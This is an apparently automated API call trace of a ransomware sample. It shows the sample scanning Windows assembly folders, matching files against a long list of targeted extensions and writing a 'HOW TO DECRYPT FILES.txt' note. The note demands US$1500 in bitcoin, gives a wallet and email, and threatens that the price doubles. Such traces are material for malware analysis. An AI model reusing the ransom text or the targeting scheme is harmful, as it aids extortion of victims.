lstrlenA (lpString="*.raw") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0110.237] lstrlenA (lpString="*.nef") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0110.237] lstrlenA (lpString="*.svg") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0110.237] lstrlenA (lpString="*.psd") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.237] lstrlenA (lpString="*.vmx") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.237] lstrlenA (lpString="*.vmdk") returned 6 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.237] lstrlenA (lpString="*.vdi") returned 5 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.237] lstrlenA (lpString="*.lay6") returned 6 [0110.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.238] lstrlenA (lpString="*.mpeg") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.238] lstrlenA (lpString="*.djvu") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.238] lstrlenA (lpString="*.tiff") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0110.238] lstrlenA (lpString="*.backup") returned 8 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.238] lstrlenA (lpString="*.pdf") returned 5 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0110.238] lstrlenA (lpString="*.cert") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0110.238] lstrlenA (lpString="*.docm") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.238] lstrlenA (lpString="*.xlsm") returned 6 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.238] lstrlenA (lpString="*.dwg") returned 5 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0110.238] lstrlenA (lpString="*.nd") returned 4 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.238] lstrlenA (lpString="*.tlg") returned 5 [0110.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.238] lstrlenA (lpString="*.lgb") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0110.239] lstrlenA (lpString="*.mov") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.239] lstrlenA (lpString="*.xdw") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0110.239] lstrlenA (lpString="*.ods") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0110.239] lstrlenA (lpString="*.wav") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.239] lstrlenA (lpString="*.mp3") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.239] lstrlenA (lpString="*.aiff") returned 6 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0110.239] lstrlenA (lpString="*.flac") returned 6 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.239] lstrlenA (lpString="*.m4a") returned 5 [0110.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\4f1790a086595c43d01d7ceac80242fb\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0110.240] lstrlenA (lpString="*.csv") returned 5 [0110.240] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61bf9aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61bf9aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61c1fc00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x34800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.240] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.240] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61e5b0a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61e5b0a0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61e5b0a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="544065ec7c33ec621251f4ebae8af1df", cAlternateFileName="544065~1")) returned 1 [0110.240] lstrcmpA (lpString1=".", lpString2="544065ec7c33ec621251f4ebae8af1df") returned -1 [0110.240] lstrcmpA (lpString1="..", lpString2="544065ec7c33ec621251f4ebae8af1df") returned -1 [0110.240] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.240] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="544065ec7c33ec621251f4ebae8af1df" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df" [0110.240] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df") returned 100 [0110.240] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61e5b0a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61e5b0a0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61e5b0a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.241] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61e5b0a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61e5b0a0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61e5b0a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.242] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.242] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61e34f40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61e34f40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x61e34f40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.242] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.242] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0110.242] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0110.242] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned -1 [0110.242] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\*.*") returned="*.*" [0110.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\" [0110.242] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\") returned="" [0110.279] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\HOW TO DECRYPT FILES.txt" [0110.279] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\544065ec7c33ec621251f4ebae8af1df\\how to decrypt files.txt")) returned 0xffffffff [0110.279] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\544065ec7c33ec621251f4ebae8af1df\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.340] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.340] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.341] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.342] CloseHandle (hObject=0x90) returned 1 [0110.342] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll" [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0110.342] lstrlenA (lpString="*.ems") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0110.342] lstrlenA (lpString="*.db") returned 4 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.342] lstrlenA (lpString="*.dbf") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0110.342] lstrlenA (lpString="*.myox") returned 6 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0110.342] lstrlenA (lpString="*.myo") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.342] lstrlenA (lpString="*.qbw") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.342] lstrlenA (lpString="*.qbb") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.342] lstrlenA (lpString="*.qbm") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.342] lstrlenA (lpString="*.qbo") returned 5 [0110.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.343] lstrlenA (lpString="*.qbx") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0110.343] lstrlenA (lpString="*.qba") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0110.343] lstrlenA (lpString="*.qby") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.343] lstrlenA (lpString="*.qbj") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.343] lstrlenA (lpString="*.ofx") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0110.343] lstrlenA (lpString="*.qif") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0110.343] lstrlenA (lpString="*.mye") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.343] lstrlenA (lpString="*.mbox") returned 6 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.343] lstrlenA (lpString="*.eml") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0110.343] lstrlenA (lpString="*.pst") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0110.343] lstrlenA (lpString="*.ost") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0110.343] lstrlenA (lpString="*.idx") returned 5 [0110.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.343] lstrlenA (lpString="*.dbx") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0110.344] lstrlenA (lpString="*.sql") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.344] lstrlenA (lpString="*.mdb") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.344] lstrlenA (lpString="*.fdb") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0110.344] lstrlenA (lpString="*.wab") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0110.344] lstrlenA (lpString="*.dat") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0110.344] lstrlenA (lpString="*.txt") returned 5 [0110.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\544065ec7c33ec621251f4ebae8af1df\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.344] lstrlenA (lpString="*.jpeg") returned 6 [0110.344] PathMatchSpecA 